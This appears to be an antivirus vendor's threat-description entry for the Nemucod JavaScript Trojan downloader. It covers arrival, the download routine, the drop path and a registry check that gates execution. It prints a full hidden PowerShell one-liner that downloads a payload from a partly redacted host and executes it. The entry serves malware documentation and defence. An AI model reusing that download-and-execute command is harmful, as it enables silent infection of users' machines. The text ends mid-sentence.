JS_NEMUCOD.ELDSAUFS

This Trojan arrives as an attachment to email messages mass-mailed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages mass-mailed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan accesses the following websites to download files:

• http://disk.{BLOCKED}dguys.org/3281.bin?bMQREY

It saves the files it downloads using the following names:

• %User Profile%\AppData\RoamingTAf79.Exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• It uses the following powershell command for its download routine:
  • powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://disk.{BLOCKED}dguys.org/3281.bin?bMQREY','%User Profile%\AppData\RoamingTAf79.Exe'); staRt-process '%User Profile%\AppData\RoamingTAf79.exe'
• It queries the following registry entry and uses the 12th character of its data for its routine. It will not proceed with its intended routine if the character is not "F".
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir

NOTES:

This malware arrives through the following .DOCX file. It is embedded and executes its routine upon activation by the user: